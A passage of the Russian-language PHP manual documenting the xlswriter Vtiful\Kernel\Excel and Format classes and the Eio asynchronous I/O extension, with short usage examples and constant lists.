Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName("free.xlsx")
->header(['name', 'money']);

for ($index = 0; $index < 10; $index++) {
$file->insertText($index+1, 0, 'viest');
$file->insertText($index+1, 1, 10000, '#,##0');
}

$textFile->output();

User Contributed Notes

There are no user contributed notes for this page.


Объединить ячейки

  • « Vtiful\Kernel\Excel::insertText
  • Vtiful\Kernel\Excel::output »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Объединить ячейки

Vtiful\Kernel\Excel::mergeCells

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::mergeCells — Объединить ячейки

Описание

public Vtiful\Kernel\Excel::mergeCells(string $scope, string $data)

Объединить ячейки.

Список параметров

scope

начальные и конечные строки координат ячейки

data

данные строки

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$excel->fileName("test.xlsx")
->mergeCells('A1:C1', 'Merge cells')
->output();

User Contributed Notes

There are no user contributed notes for this page.


Вывод

  • « Vtiful\Kernel\Excel::mergeCells
  • Vtiful\Kernel\Excel::setColumn »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Вывод

Vtiful\Kernel\Excel::output

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::output — Вывод

Описание

public Vtiful\Kernel\Excel::output()

Вывод xlsx-файла на диск.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Путь к файлу XLSX;

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age'])
->data([
['viest', 23],
['wjx', 23],
]);

$path = $file->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Установить столбец

  • « Vtiful\Kernel\Excel::output
  • Vtiful\Kernel\Excel::setRow »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Установить столбец

Vtiful\Kernel\Excel::setColumn

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::setColumn — Установить столбец

Описание

public Vtiful\Kernel\Excel::setColumn(string $range, float $width, resource $format = ?)

Установить формат столбца.

Список параметров

range

начальные и конечные строки координат ячейки

width

ширина столбца

format

ресурс формата ячейки

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$boldStyle = \Vtiful\Kernel\Format::bold($fileHandle);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $boldStyle)
->output();

User Contributed Notes

There are no user contributed notes for this page.


Установить строку

  • « Vtiful\Kernel\Excel::setColumn
  • Vtiful\Kernel\Format »
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Установить строку

Vtiful\Kernel\Excel::setRow

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::setRow — Установить строку

Описание

public Vtiful\Kernel\Excel::setRow(string $range, float $height, resource $format = ?)

Установить формат строки.

Список параметров

range

начальные и конечные строки координат ячейки

height

высота строки

format

ресурс формата ячейки

Возвращаемые значения

Экземпляр Vtiful\Kernel\Excel

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$boldStyle = \Vtiful\Kernel\Format::bold($fileHandle);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setRow('A1', 20, $boldStyle,)
->output();

User Contributed Notes

There are no user contributed notes for this page.


Класс Vtiful\Kernel\Format

(PECL xlswriter >= 1.2.1)

Введение

Возвращает объект форматирования ячейки

Обзор классов

class Vtiful\Kernel\Format {
/* Константы */
const int FORMAT_ALIGN_LEFT = 1;
const int FORMAT_ALIGN_CENTER = 2;
const int FORMAT_ALIGN_RIGHT = 3;
const int FORMAT_ALIGN_FILL = 4;
const int FORMAT_ALIGN_JUSTIFY = 5;
const int FORMAT_ALIGN_CENTER_ACROSS = 6;
const int FORMAT_ALIGN_DISTRIBUTED = 7;
const int FORMAT_ALIGN_VERTICAL_TOP = 8;
const int FORMAT_ALIGN_VERTICAL_BOTTOM = 9;
const int FORMAT_ALIGN_VERTICAL_CENTER = 10;
const int FORMAT_ALIGN_VERTICAL_JUSTIFY = 11;
const int FORMAT_ALIGN_VERTICAL_DISTRIBUTED = 12;
const int UNDERLINE_SINGLE = 1;
const int UNDERLINE_DOUBLE = 2;
const int UNDERLINE_SINGLE_ACCOUNTING = 3;
const int UNDERLINE_DOUBLE_ACCOUNTING = 4;
/* Методы */
public align(resource $handle, int $style)
public bold(resource $handle)
public italic(resource $handle)
public underline(resource $handle, int $style)
}

Предопределённые константы

Vtiful\Kernel\Format::FORMAT_ALIGN_LEFT

Vtiful\Kernel\Format::FORMAT_ALIGN_CENTER

Vtiful\Kernel\Format::FORMAT_ALIGN_RIGHT

Vtiful\Kernel\Format::FORMAT_ALIGN_FILL

Vtiful\Kernel\Format::FORMAT_ALIGN_JUSTIFY

Vtiful\Kernel\Format::FORMAT_ALIGN_CENTER_ACROSS

Vtiful\Kernel\Format::FORMAT_ALIGN_DISTRIBUTED

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_TOP

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_BOTTOM

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_CENTER

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_JUSTIFY

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_DISTRIBUTED

Vtiful\Kernel\Format::UNDERLINE_SINGLE

Vtiful\Kernel\Format::UNDERLINE_DOUBLE

Vtiful\Kernel\Format::UNDERLINE_SINGLE_ACCOUNTING

Vtiful\Kernel\Format::UNDERLINE_DOUBLE_ACCOUNTING

Содержание

  • Vtiful\Kernel\Format::align — Выравнивание
  • Vtiful\Kernel\Format::bold — Полужирный
  • Vtiful\Kernel\Format::italic — Курсив
  • Vtiful\Kernel\Format::underline — Подчёркнутый

User Contributed Notes

There are no user contributed notes for this page.


Выравнивание

  • « Vtiful\Kernel\Format
  • Vtiful\Kernel\Format::bold »
  • PHP Manual
  • Vtiful\Kernel\Format
  • Выравнивание

Vtiful\Kernel\Format::align

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::align — Выравнивание

Описание

public Vtiful\Kernel\Format::align(resource $handle, int $style)

Установить выравнивание ячейки

Список параметров

handle

Дескриптор файла xlsx

style

Константа Vtiful\Kernel\Format

Возвращаемые значения

Ресурс

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$alignStyle = \Vtiful\Kernel\Format::align($fileHandle, \Vtiful\Kernel\Format::FORMAT_ALIGN_LEFT);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $align)
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Полужирный

  • « Vtiful\Kernel\Format::align
  • Vtiful\Kernel\Format::italic »
  • PHP Manual
  • Vtiful\Kernel\Format
  • Полужирный

Vtiful\Kernel\Format::bold

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::bold — Полужирный

Описание

public Vtiful\Kernel\Format::bold(resource $handle)

Полужирный формат Vtiful\Kernel\Format

Список параметров

handle

Дескриптор файла xlsx

Возвращаемые значения

Ресурс

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$boldStyle = \Vtiful\Kernel\Format::bold($fileHandle);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $boldStyle)
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Курсив

  • « Vtiful\Kernel\Format::bold
  • Vtiful\Kernel\Format::underline »
  • PHP Manual
  • Vtiful\Kernel\Format
  • Курсив

Vtiful\Kernel\Format::italic

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::italic — Курсив

Описание

public Vtiful\Kernel\Format::italic(resource $handle)

Формат курсива Vtiful\Kernel\Format

Список параметров

handle

Дескриптор файла xlsx

Возвращаемые значения

Ресурс

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$italicStyle = \Vtiful\Kernel\Format::italic($fileHandle);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $italicStyle)
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Подчёркнутый

  • « Vtiful\Kernel\Format::italic
  • Модули для управления процессами программ »
  • PHP Manual
  • Vtiful\Kernel\Format
  • Подчёркнутый

Vtiful\Kernel\Format::underline

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::underline — Подчёркнутый

Описание

public Vtiful\Kernel\Format::underline(resource $handle, int $style)

Подчёркнутый формат Vtiful\Kernel\Format

Список параметров

handle

Дескриптор файла xlsx

style

Константа Vtiful\Kernel\Format

Возвращаемые значения

Ресурс

Примеры

Пример #1 Пример использования

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$underlineStyle = \Vtiful\Kernel\Format::underline($fileHandle, \Vtiful\Kernel\Format::UNDERLINE_SINGLE);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $underlineStyle)
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Модули для управления процессами программ

  • Eio
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Eio Функции
  • Ev
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Наблюдатели
    • Watcher callbacks
    • Режимы работы периодических наблюдателей
    • Ev — Класс Ev
    • EvCheck — Класс EvCheck
    • EvChild — Класс EvChild
    • EvEmbed — Класс EvEmbed
    • EvFork — Класс EvFork
    • EvIdle — Класс EvIdle
    • EvIo — Класс EvIo
    • EvLoop — Класс EvLoop
    • EvPeriodic — Класс EvPeriodic
    • EvPrepare — Класс EvPrepare
    • EvSignal — Класс EvSignal
    • EvStat — Класс EvStat
    • EvTimer — Класс EvTimer
    • EvWatcher — Класс EvWatcher
  • Expect
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Expect
  • PCNTL — Управление процессами
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции PCNTL
  • POSIX
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • POSIX Функции
  • Запуск программы — Запуск программ в системе
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции запуска программ
  • parallel
    • Введение
    • Установка
    • Философия
    • Функциональный API
    • parallel\Runtime — Класс parallel\Runtime
    • parallel\Future — Класс parallel\Future
    • parallel\Channel — Класс parallel\Channel
    • parallel\Events — Класс parallel\Events
    • parallel\Events\Input — Класс parallel\Events\Input
    • parallel\Events\Event — Класс parallel\Events\Event
    • parallel\Events\Event\Type — Класс parallel\Events\Event\Type
    • parallel\Sync — Класс parallel\Sync
  • pthreads
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Threaded — Класс Threaded
    • Thread — Класс Thread
    • Worker — Класс Worker
    • Collectable — Интерфейс Collectable
    • Pool — Класс Pool
    • Volatile — Класс Volatile
  • Семафоры — Семафоры, разделяемая память и IPC
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции семафоров
    • SysvMessageQueue — Класс SysvMessageQueue
    • SysvSemaphore — Класс SysvSemaphore
    • SysvSharedMemory — Класс SysvSharedMemory
  • Управление разделяемой памятью
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Разделяемая (shared) память
    • Shmop — Класс Shmop
  • Sync
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • SyncMutex — Класс SyncMutex
    • SyncSemaphore — Класс SyncSemaphore
    • SyncEvent — Класс SyncEvent
    • SyncReaderWriter — Класс SyncReaderWriter
    • SyncSharedMemory — Класс SyncSharedMemory

User Contributed Notes

There are no user contributed notes for this page.


Eio

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Eio Функции
    • eio_busy — Искусственно увеличивает нагрузку. Может быть полезно при тестировании, изучении производительности
    • eio_cancel — Отменяет запрос
    • eio_chmod — Изменяет права доступа к файлу/директории
    • eio_chown — Изменяет права доступа к файлу/директории
    • eio_close — Закрыть файл
    • eio_custom — Выполняет пользовательский запрос как любой другой eio_* вызов
    • eio_dup2 — Создаёт дубликат дескриптора файла
    • eio_event_loop — Взаимодействует с libeio до тех пор, пока все запросы не будут выполнены
    • eio_fallocate — Позволяет напрямую управлять размером используемого дискового пространства для файла
    • eio_fchmod — Изменяет права доступа к файлу
    • eio_fchown — Изменяет владельца файла
    • eio_fdatasync — Синхронизирует текущее состояние файла с физическим устройством
    • eio_fstat — Возвращает статус файла
    • eio_fstatvfs — Возвращает статистику файловой системы
    • eio_fsync — Синхронизирует текущее состояние файла с физическим устройством
    • eio_ftruncate — Урезает размер файла
    • eio_futime — Изменяет дату и время последней модификации и доступа к файлу
    • eio_get_event_stream — Возвращает поток, отражающий переменную, используемую при взаимодействии с libeio
    • eio_get_last_error — Возвращает последнюю ошибку, связанную с указателем на ресурс
    • eio_grp_add — Добавляет запрос в группу запросов
    • eio_grp_cancel — Отменяет группу запросов
    • eio_grp_limit — Устанавливает предельное количество запросов в группе
    • eio_grp — Создаёт группу запросов
    • eio_init — (Ре-)инициализирует Eio
    • eio_link — Создаёт жёсткую ссылку на файл
    • eio_lstat — Возвращает статус файла
    • eio_mkdir — Создание директории
    • eio_mknod — Создаёт специальный или обычный файл
    • eio_nop — Проход по циклу запроса, не совершая никаких операций
    • eio_npending — Возвращает число завершённых, но необработанных процессов
    • eio_nready — Возвращает число ещё не обработанных запросов
    • eio_nreqs — Возвращает число запросов, которые предстоит выполнить
    • eio_nthreads — Возвращает количество используемых в данный момент потоков
    • eio_open — Открывает файл
    • eio_poll — Может быть вызвана когда имеются запросы, ожидающие выполнения
    • eio_read — Читает данные из файла, начиная с заданного смещения
    • eio_readahead — Помещает данные из файла в кеш страницы
    • eio_readdir — Читает содержимое директории
    • eio_readlink — Читает значение символической ссылки
    • eio_realpath — Получает абсолютный приведённый к каноническому виду путь
    • eio_rename — Изменяет имя или перемещает файл
    • eio_rmdir — Удаляет директорию
    • eio_seek — Перемещает файловый указатель файла fd на число байт offset в соответствии с директивой whence
    • eio_sendfile — Перемещает данные между файлами
    • eio_set_max_idle — Устанавливает максимальное количество ожидающих потоков
    • eio_set_max_parallel — Устанавливает максимальное количество параллельных потоков
    • eio_set_max_poll_reqs — Устанавливает максимальное количество обрабатываемых запросов
    • eio_set_max_poll_time — Устанавливает максимальное время выполнения
    • eio_set_min_parallel — Устанавливает минимальное количество параллельных потоков
    • eio_stat — Возвращает статус файла
    • eio_statvfs — Возвращает статистику файловой системы
    • eio_symlink — Создаёт символическую ссылку
    • eio_sync_file_range — Синхронизирует сегмент файла с данными файла на внешнем хранилище
    • eio_sync — Записывает кеш из буфера на диск
    • eio_syncfs — Вызывает системный syncfs в Linux, если это доступно
    • eio_truncate — Урезает размер файла
    • eio_unlink — Удаляет файл или одну из жёстких ссылок на него
    • eio_utime — Изменяет дату и время последней модификации и доступа к файлу
    • eio_write — Запись в файл

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль реализует подсистему ввода-вывода POSIX I/O средств » libeio Библиотека C Написана Марком Леманном (Marc Lehmann).

Замечание: Для Windows-платформ этот модуль недоступен.

Внимание

Следует учесть, что каждый запрос выполняется в отдельном потоке, при этом исполнение запросов непрерывно, а их порядок в очереди исполнения непредсказуем. Например, нижеприведённый пример кода неверен.

Пример #1 Пример неправильных запросов

<?php
// Запрос на создание символической ссылки $link на файл $filename
eio_symlink($filename, $link);

// Запрос на переименование файла $filename в $new_filename
eio_rename($filename, $new_filename);

// Выполнение запросов
eio_event_loop();
?>
В приведённом выше примере запрос eio_rename() может быть выполнен перед eio_symlink(). Правильным решением будет вызов eio_rename() callback-функцией в eio_symlink():

Пример #2 Создание запроса с использованием callback-функции

<?php
function my_symlink_done($filename, $result) {
// Запрос на переменование $filename в $new_filename
eio_rename($filename, "/path/to/new-name");

// Выполнение запросов
eio_event_loop();
}

// Запрос на создание символической ссылки $link на файл $filename
eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_done", $filename);

// Выполнение запросов
eio_event_loop();
?>
Альтернативным решением является создание группы запросов:

Пример #3 Создание запроса с использованием callback-функции

<?php
/* Функция вызывается после выполнения группы запросов */
function my_grp_done($data, $result) {
// ...
}

function my_symlink_done($filename, $result) {
// Создание запроса eio_rename и добавление его в группу
$req = eio_rename($filename, "/path/to/new-name");
eio_grp_add($grp, $req);
// Возможно, вы захотите добавить больше запросов...
}

// Создание группы запросов
$grp = eio_grp("my_grp_done", "my_grp_data");

// Создание запроса eio_symlink request и добавление в группу
// Передача $filename в callback-функцию
$req = eio_symlink($filename, $link,
EIO_PRI_DEFAULT, "my_symlink_done", $filename);
eio_grp_add($grp, $req);

// Выполнение запросов
eio_event_loop();
?>
Группа - это специальный вид запроса, позволяющий создать набор обычных eio-запросов. Это может быть использовано для создания сложных запросов, открывающих, читающих и закрывающих файл.

Начиная с версии 0.3.0 alpha, переменная, используемая для внутреннего взаимодействия с libeio, может быть получена функцией eio_get_event_stream(). Переменная может быть использована для привязке к циклу обработки, поставляемого сторонним модулем. Возможно организовать простой цикл обработки, где eio и libevent работают совместно.

Пример #4 Использование eio совместно с libevent

<?php
function my_eio_poll($fd, $events, $arg) {
/* Некоторые действия с libevent могут быть здесь */
if (eio_nreqs()) {
eio_poll();
}
/* .. и здесь */
}

function my_res_cb($d, $r) {
var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

// Этот поток требуется для привязки к libevent
$fd = eio_get_event_stream();

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* Прочие eio_* запросы ... */

// Установка флагов события
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// Установка основы события
event_base_set($event, $base);

// Включение события
event_add($event);

// Запуск цикла обработки
event_base_loop($base);

/* То же самое доступно через интерфейс буфера libevent */
?>

User Contributed Notes

There are no user contributed notes for this page.


Требования

Модуль включает в себя библиотеку » libeio. Установка libeio отдельно НЕ требуется.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/eio.

Информация об установке в ручном режиме находится в файле INSTALL в пакете поставки.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

В данном модуле два типа ресурсов: request и request group.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Константы приоритета запроса:

EIO_PRI_MIN (int)
Минимальный приоритет запроса
EIO_PRI_DEFAULT (int)
Приоритет по умолчанию
EIO_PRI_MAX (int)
Максимальный приоритет запроса

Аргумент whence функции eio_seek():

EIO_SEEK_SET (int)
Смещение offset, заданное в байтах.
EIO_SEEK_CUR (int)
Смещение offset, заданное в байтах от текущего значения.
EIO_SEEK_END (int)
Смещение offset, заданное в байтах от размера файла.

Флаги, используемые в eio_readdir():

EIO_READDIR_DENTS (int)
Флаг eio_readdir(). Если указан, аргумент для выполнения callback-функции становится массивом со следующими ключами: 'names' - массив имён директории 'dents' - массив массивов вида struct eio_dirent, каждый из которых имеет ключи: 'name' - имя директории; 'type' - одна из констант EIO_DT_*; 'inode' - Номер inode, если он доступен, иначе значение не указывается;
EIO_READDIR_DIRS_FIRST (int)
Когда флаг указан, имена будут возвращены в порядке, при котором будут возвращены первыми директории в оптимальном порядке.
EIO_READDIR_STAT_ORDER (int)
Когда флаг указан, имена будут возвращены в порядке, в зависимости от stat каждого из них. Если планируется выполнить stat() для всех файлов в директории, такой порядок будет, скорее всего, наиболее быстрым.
EIO_READDIR_FOUND_UNKNOWN (int)
EIO_DT_UNKNOWN (int)
Неизвестный тип узла (очень распространено). Далее необходим вызов stat().
EIO_DT_FIFO (int)
Тип FIFO узла
EIO_DT_CHR (int)
Тип узла
EIO_DT_MPC (int)
Тип узла мультиплексное символьное устройство (v7+coherent)
EIO_DT_DIR (int)
Тип узла директория
EIO_DT_NAM (int)
Тип узла специальный именованный файл Xenix (Xenix special named file)
EIO_DT_BLK (int)
Тип узла
EIO_DT_MPB (int)
Тип узла мультиплексное блочное устройство (Multiplexed block device) (v7+coherent)
EIO_DT_REG (int)
Тип узла
EIO_DT_NWK (int)
EIO_DT_CMP (int)
Тип узла HP-UX network special
EIO_DT_LNK (int)
Тип узла ссылка
EIO_DT_SOCK (int)
Тип узла сокет
EIO_DT_DOOR (int)
Тип узла Solaris door
EIO_DT_WHT (int)
Тип узла
EIO_DT_MAX (int)
Наибольшее значение типа узла

Режимы доступа для eio_open() аргумент flags:

EIO_O_RDONLY (int)
EIO_O_WRONLY (int)
EIO_O_RDWR (int)
EIO_O_NONBLOCK (int)
EIO_O_APPEND (int)
EIO_O_CREAT (int)
EIO_O_TRUNC (int)
EIO_O_EXCL (int)
EIO_O_FSYNC (int)

Флаги аргумента mode функции eio_open():

EIO_S_IRUSR (int)
EIO_S_IWUSR (int)
EIO_S_IXUSR (int)
EIO_S_IRGRP (int)
EIO_S_IWGRP (int)
EIO_S_IXGRP (int)
EIO_S_IROTH (int)
EIO_S_IWOTH (int)
EIO_S_IXOTH (int)
EIO_S_IFREG (int)
EIO_S_IFCHR (int)
EIO_S_IFBLK (int)
EIO_S_IFIFO (int)
EIO_S_IFSOCK (int)

Флаги функции eio_sync_file_range():

EIO_SYNC_FILE_RANGE_WAIT_BEFORE (int)
EIO_SYNC_FILE_RANGE_WRITE (int)
EIO_SYNC_FILE_RANGE_WAIT_AFTER (int)

Флаги функции eio_fallocate():

EIO_FALLOC_FL_KEEP_SIZE (int)

Замечание:

Константы EIO_S_I* имеют то же значение, что их коллеги S_I* в POSIX.

Замечание:

EIO_SYNC_FILE_* имеют то же значение, что их коллеги SYNC_FILE_**.

Замечание:

EIO_O_* имеют то же значение, что их коллеги O_* в POSIX.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Отмена запроса

<?php
/* Вызывается после завершения eio_nop() */
function my_nop_cb($data, $result) {
echo "my_nop ", $data, "\n";
}

// Этот eio_nop() будет отменён
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// Этот eio_nop() будет выполнен
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// Выполнение запросов
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

resource(4) of type (EIO Request Descriptor)
my_nop 2

Пример #2 Вызов eio_chmod()

<?php
$temp_filename = dirname(__FILE__) ."/eio-temp-file.tmp";
touch($temp_filename);

/* Вызывается после завершения eio_chmod() */
function my_chmod_callback($data, $result) {
global $temp_filename;

if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
echo "eio_chmod_ok";
}

@unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

eio_chmod_ok

Пример #3 Создание пользовательского запроса

<?php
/* Пользовательская функция обратного вызова */
function my_custom_callback($data, $result) {
var_dump($data);
var_dump(count($result));
var_dump($result['data_modified']);
var_dump($result['result']);
}

/* Пользовательский запрос */
function my_custom($data) {
var_dump($data);

$result = array(
'result' => 1001,
'data_modified' => "my custom data",
);

return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

Пример #4 Группировка запросов

<?php
/*
* Создание группы запросов для открытия, чтения и закрытия файла
*/

$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);

/* Вызывается, когда группа запросов будет выполнена */
function my_grp_done($data, $result) {
global $temp_filename;
var_dump($result == 0);
@unlink($temp_filename);
}

/* Вызывается после выполнения eio_open() */
function my_grp_file_opened_callback($data, $result) {
global $my_file_fd, $grp;

$my_file_fd = $result;

var_dump($result > 0);

// Создание запроса eio_read() и добавление в группу
$req = eio_read($my_file_fd, 4, 0, EIO_PRI_DEFAULT, "my_grp_file_read_callback");
eio_grp_add($grp, $req);
}

/* Вызывается после выполнения eio_read() */
function my_grp_file_read_callback($data, $result) {
global $my_file_fd, $grp;

var_dump($result);

// Создание запроса eio_close() и добавление в группу
$req = eio_close($my_file_fd);
eio_grp_add($grp, $req);
}

$grp = eio_grp("my_grp_done", "my_grp_data");

// Создание запроса eio_open() и добавление в группу
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);
var_dump($grp);

eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

Пример #5 Использование eio совместно с модулем libevent

<?php
function my_eio_poll($fd, $events, $arg) {
/* Некоторые действия с libevent могут быть здесь */
if (eio_nreqs()) {
eio_poll();
}
/* .. и здесь */
}

function my_nop_cb($d, $r) {
var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
/* Прочие eio_* запросы ... */

// Установка флагов события
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// Установка основы события
event_base_set($event, $base);

// Включение события
event_add($event);

// Запуск цикла обработки
event_base_loop($base);

/* То же самое доступно через интерфейс буфера libevent */
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

Пример #6 Использование eio с модулем event

<?php
$base = new EventBase();

// Получаем поток опроса eio.
// Обратите внимание, что эта переменная должна быть жива все время
// пока запущен цикл событий
$eio_stream = eio_get_event_stream();

// Связываем поток опроса eio polling с циклом событий.
$poll_event = new Event($base, $eio_stream, Event::READ, function () {
if (eio_nreqs()) {
eio_poll();
}
});
$poll_event->add();

// Добавляем задачу eio
eio_nop(EIO_PRI_DEFAULT, function () {
echo "eio_nop\n";
});

// Добавляем события
$timer = Event::timer($base, function () {
echo "прошло 2 секунды\n";
});
$timer->add(2);

// Отправляем события
$base->dispatch();
?>

Результатом выполнения данного примера будет что-то подобное:

eio_nop
прошло 2 секунды

User Contributed Notes

There are no user contributed notes for this page.


Eio Функции

Содержание

  • eio_busy — Искусственно увеличивает нагрузку. Может быть полезно при тестировании, изучении производительности
  • eio_cancel — Отменяет запрос
  • eio_chmod — Изменяет права доступа к файлу/директории
  • eio_chown — Изменяет права доступа к файлу/директории
  • eio_close — Закрыть файл
  • eio_custom — Выполняет пользовательский запрос как любой другой eio_* вызов
  • eio_dup2 — Создаёт дубликат дескриптора файла
  • eio_event_loop — Взаимодействует с libeio до тех пор, пока все запросы не будут выполнены
  • eio_fallocate — Позволяет напрямую управлять размером используемого дискового пространства для файла
  • eio_fchmod — Изменяет права доступа к файлу
  • eio_fchown — Изменяет владельца файла
  • eio_fdatasync — Синхронизирует текущее состояние файла с физическим устройством
  • eio_fstat — Возвращает статус файла
  • eio_fstatvfs — Возвращает статистику файловой системы
  • eio_fsync — Синхронизирует текущее состояние файла с физическим устройством
  • eio_ftruncate — Урезает размер файла
  • eio_futime — Изменяет дату и время последней модификации и доступа к файлу
  • eio_get_event_stream — Возвращает поток, отражающий переменную, используемую при взаимодействии с libeio
  • eio_get_last_error — Возвращает последнюю ошибку, связанную с указателем на ресурс
  • eio_grp_add — Добавляет запрос в группу запросов
  • eio_grp_cancel — Отменяет группу запросов
  • eio_grp_limit — Устанавливает предельное количество запросов в группе
  • eio_grp — Создаёт группу запросов
  • eio_init — (Ре-)инициализирует Eio
  • eio_link — Создаёт жёсткую ссылку на файл
  • eio_lstat — Возвращает статус файла
  • eio_mkdir — Создание директории
  • eio_mknod — Создаёт специальный или обычный файл
  • eio_nop — Проход по циклу запроса, не совершая никаких операций
  • eio_npending — Возвращает число завершённых, но необработанных процессов
  • eio_nready — Возвращает число ещё не обработанных запросов
